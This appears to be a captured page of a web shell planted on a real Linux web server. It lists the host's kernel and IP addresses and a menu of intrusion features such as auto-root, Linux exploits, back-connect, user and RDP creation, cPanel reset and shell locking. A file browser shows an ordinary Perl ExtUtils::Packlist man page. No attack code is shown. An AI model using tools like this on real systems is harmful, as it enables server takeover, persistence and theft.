Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 18.119.113.79
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
local /
share /
man /
man3 /
[ HOME SHELL ]
Name
Size
Permission
Action
CPAN::Meta.3pm
14.93
KB
-r--r--r--
CPAN::Meta::Converter.3pm
6.34
KB
-r--r--r--
CPAN::Meta::Feature.3pm
4.16
KB
-r--r--r--
CPAN::Meta::History.3pm
7.61
KB
-r--r--r--
CPAN::Meta::Merge.3pm
3.43
KB
-r--r--r--
CPAN::Meta::Prereqs.3pm
6.71
KB
-r--r--r--
CPAN::Meta::Requirements.3pm
13.78
KB
-r--r--r--
CPAN::Meta::Spec.3pm
44.35
KB
-r--r--r--
CPAN::Meta::Validator.3pm
4.06
KB
-r--r--r--
CPAN::Meta::YAML.3pm
5.89
KB
-r--r--r--
Canary::Stability.3pm
5.84
KB
-r--r--r--
Expect.3pm
58.82
KB
-r--r--r--
ExtUtils::Command.3pm
5.8
KB
-r--r--r--
ExtUtils::Command::MM.3pm
5.59
KB
-r--r--r--
ExtUtils::Install.3pm
12.21
KB
-r--r--r--
ExtUtils::Installed.3pm
8.4
KB
-r--r--r--
ExtUtils::Liblist.3pm
12.38
KB
-r--r--r--
ExtUtils::MM.3pm
2.76
KB
-r--r--r--
ExtUtils::MM_AIX.3pm
2.97
KB
-r--r--r--
ExtUtils::MM_Any.3pm
30.64
KB
-r--r--r--
ExtUtils::MM_BeOS.3pm
2.71
KB
-r--r--r--
ExtUtils::MM_Cygwin.3pm
3.49
KB
-r--r--r--
ExtUtils::MM_DOS.3pm
3.01
KB
-r--r--r--
ExtUtils::MM_Darwin.3pm
2.63
KB
-r--r--r--
ExtUtils::MM_MacOS.3pm
2.92
KB
-r--r--r--
ExtUtils::MM_NW5.3pm
3.19
KB
-r--r--r--
ExtUtils::MM_OS2.3pm
2.88
KB
-r--r--r--
ExtUtils::MM_QNX.3pm
2.87
KB
-r--r--r--
ExtUtils::MM_UWIN.3pm
2.98
KB
-r--r--r--
ExtUtils::MM_Unix.3pm
21.36
KB
-r--r--r--
ExtUtils::MM_VMS.3pm
14.75
KB
-r--r--r--
ExtUtils::MM_VOS.3pm
2.86
KB
-r--r--r--
ExtUtils::MM_Win32.3pm
5.94
KB
-r--r--r--
ExtUtils::MM_Win95.3pm
3.2
KB
-r--r--r--
ExtUtils::MY.3pm
2.7
KB
-r--r--r--
ExtUtils::MakeMaker.3pm
79.07
KB
-r--r--r--
ExtUtils::MakeMaker::Config.3p...
2.53
KB
-r--r--r--
ExtUtils::MakeMaker::FAQ.3pm
26.19
KB
-r--r--r--
ExtUtils::MakeMaker::Locale.3p...
10.91
KB
-r--r--r--
ExtUtils::MakeMaker::Tutorial....
8.2
KB
-r--r--r--
ExtUtils::Manifest.3pm
11.68
KB
-r--r--r--
ExtUtils::Mkbootstrap.3pm
3.37
KB
-r--r--r--
ExtUtils::Mksymlists.3pm
6.54
KB
-r--r--r--
ExtUtils::Packlist.3pm
6.71
KB
-r--r--r--
ExtUtils::testlib.3pm
2.63
KB
-r--r--r--
HTTP::Tiny.3pm
28.76
KB
-r--r--r--
IO::Pty.3pm
8.38
KB
-r--r--r--
IO::Tty.3pm
8.15
KB
-r--r--r--
IO::Tty::Constant.3pm
9.49
KB
-r--r--r--
JSON::PP.3pm
48.9
KB
-r--r--r--
JSON::PP::Boolean.3pm
2.61
KB
-r--r--r--
JSON::Syck.3pm
7.9
KB
-r--r--r--
JSON::XS.3pm
88.67
KB
-r--r--r--
JSON::XS::Boolean.3pm
4.55
KB
-r--r--r--
POD2::DE::local::lib.3pm
24.31
KB
-r--r--r--
POD2::PT_BR::local::lib.3pm
24.7
KB
-r--r--r--
Parse::CPAN::Meta.3pm
8.75
KB
-r--r--r--
Try::Tiny.3pm
19.87
KB
-r--r--r--
Types::Serialiser.3pm
12.97
KB
-r--r--r--
Types::Serialiser::Error.3pm
4.4
KB
-r--r--r--
YAML::Syck.3pm
10.58
KB
-r--r--r--
common::sense.3pm
0
B
-r--r--r--
lib::core::only.3pm
7.28
KB
-r--r--r--
local::lib.3pm
32.42
KB
-r--r--r--
version.3pm
13.61
KB
-r--r--r--
version::Internals.3pm
29.58
KB
-r--r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ExtUtils::Packlist.3pm
.\" Automatically generated by Pod::Man 2.27 (Pod::Simple 3.28) .\" .\" Standard preamble: .\" ======================================================================== .de Sp \" Vertical space (when we can't use .PP) .if t .sp .5v .if n .sp .. .de Vb \" Begin verbatim text .ft CW .nf .ne \\$1 .. .de Ve \" End verbatim text .ft R .fi .. .\" Set up some character translations and predefined strings. \*(-- will .\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left .\" double quote, and \*(R" will give a right double quote. \*(C+ will .\" give a nicer C++. Capital omega is used to do unbreakable dashes and .\" therefore won't be available. \*(C` and \*(C' expand to `' in nroff, .\" nothing in troff, for use with C<>. .tr \(*W- .ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p' .ie n \{\ . ds -- \(*W- . ds PI pi . if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch . if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\" diablo 12 pitch . ds L" "" . ds R" "" . ds C` "" . ds C' "" 'br\} .el\{\ . ds -- \|\(em\| . ds PI \(*p . ds L" `` . ds R" '' . ds C` . ds C' 'br\} .\" .\" Escape single quotes in literal strings from groff's Unicode transform. .ie \n(.g .ds Aq \(aq .el .ds Aq ' .\" .\" If the F register is turned on, we'll generate index entries on stderr for .\" titles (.TH), headers (.SH), subsections (.SS), items (.Ip), and index .\" entries marked with X<> in POD. Of course, you'll have to process the .\" output yourself in some meaningful fashion. .\" .\" Avoid warning from groff about undefined register 'F'. .de IX .. .nr rF 0 .if \n(.g .if rF .nr rF 1 .if (\n(rF:(\n(.g==0)) \{ . if \nF \{ . de IX . tm Index:\\$1\t\\n%\t"\\$2" .. . if !\nF==2 \{ . nr % 0 . nr F 2 . \} . \} .\} .rr rF .\" ======================================================================== .\" .IX Title "inc::ExtUtils::Packlist 3" .TH inc::ExtUtils::Packlist 3 "2019-12-02" "perl v5.16.3" "User Contributed Perl Documentation" .\" For nroff, turn off justification. Always turn off hyphenation; it makes .\" way too many mistakes in technical documents. .if n .ad l .nh .SH "NAME" ExtUtils::Packlist \- manage .packlist files .SH "SYNOPSIS" .IX Header "SYNOPSIS" .Vb 5 \& use ExtUtils::Packlist; \& my ($pl) = ExtUtils::Packlist\->new(\*(Aq.packlist\*(Aq); \& $pl\->read(\*(Aq/an/old/.packlist\*(Aq); \& my @missing_files = $pl\->validate(); \& $pl\->write(\*(Aq/a/new/.packlist\*(Aq); \& \& $pl\->{\*(Aq/some/file/name\*(Aq}++; \& or \& $pl\->{\*(Aq/some/other/file/name\*(Aq} = { type => \*(Aqfile\*(Aq, \& from => \*(Aq/some/file\*(Aq }; .Ve .SH "DESCRIPTION" .IX Header "DESCRIPTION" ExtUtils::Packlist provides a standard way to manage .packlist files. Functions are provided to read and write .packlist files. The original \&.packlist format is a simple list of absolute pathnames, one per line. In addition, this package supports an extended format, where as well as a filename each line may contain a list of attributes in the form of a space separated list of key=value pairs. This is used by the installperl script to differentiate between files and links, for example. .SH "USAGE" .IX Header "USAGE" The hash reference returned by the \fInew()\fR function can be used to examine and modify the contents of the .packlist. Items may be added/deleted from the \&.packlist by modifying the hash. If the value associated with a hash key is a scalar, the entry written to the .packlist by any subsequent \fIwrite()\fR will be a simple filename. If the value is a hash, the entry written will be the filename followed by the key=value pairs from the hash. Reading back the \&.packlist will recreate the original entries. .SH "FUNCTIONS" .IX Header "FUNCTIONS" .IP "\fInew()\fR" 4 .IX Item "new()" This takes an optional parameter, the name of a .packlist. If the file exists, it will be opened and the contents of the file will be read. The \fInew()\fR method returns a reference to a hash. This hash holds an entry for each line in the \&.packlist. In the case of old-style .packlists, the value associated with each key is undef. In the case of new-style .packlists, the value associated with each key is a hash containing the key=value pairs following the filename in the \&.packlist. .IP "\fIread()\fR" 4 .IX Item "read()" This takes an optional parameter, the name of the .packlist to be read. If no file is specified, the .packlist specified to \fInew()\fR will be read. If the \&.packlist does not exist, Carp::croak will be called. .IP "\fIwrite()\fR" 4 .IX Item "write()" This takes an optional parameter, the name of the .packlist to be written. If no file is specified, the .packlist specified to \fInew()\fR will be overwritten. .IP "\fIvalidate()\fR" 4 .IX Item "validate()" This checks that every file listed in the .packlist actually exists. If an argument which evaluates to true is given, any missing files will be removed from the internal hash. The return value is a list of the missing files, which will be empty if they all exist. .IP "\fIpacklist_file()\fR" 4 .IX Item "packlist_file()" This returns the name of the associated .packlist file .SH "EXAMPLE" .IX Header "EXAMPLE" Here's \f(CW\*(C`modrm\*(C'\fR, a little utility to cleanly remove an installed module. .PP .Vb 1 \& #!/usr/local/bin/perl \-w \& \& use strict; \& use IO::Dir; \& use ExtUtils::Packlist; \& use ExtUtils::Installed; \& \& sub emptydir($) { \& my ($dir) = @_; \& my $dh = IO::Dir\->new($dir) || return(0); \& my @count = $dh\->read(); \& $dh\->close(); \& return(@count == 2 ? 1 : 0); \& } \& \& # Find all the installed packages \& print("Finding all installed modules...\en"); \& my $installed = ExtUtils::Installed\->new(); \& \& foreach my $module (grep(!/^Perl$/, $installed\->modules())) { \& my $version = $installed\->version($module) || "???"; \& print("Found module $module Version $version\en"); \& print("Do you want to delete $module? [n] "); \& my $r = <STDIN>; chomp($r); \& if ($r && $r =~ /^y/i) { \& # Remove all the files \& foreach my $file (sort($installed\->files($module))) { \& print("rm $file\en"); \& unlink($file); \& } \& my $pf = $installed\->packlist($module)\->packlist_file(); \& print("rm $pf\en"); \& unlink($pf); \& foreach my $dir (sort($installed\->directory_tree($module))) { \& if (emptydir($dir)) { \& print("rmdir $dir\en"); \& rmdir($dir); \& } \& } \& } \& } .Ve .SH "AUTHOR" .IX Header "AUTHOR" Alan Burlison <Alan.Burlison@uk.sun.com>
Close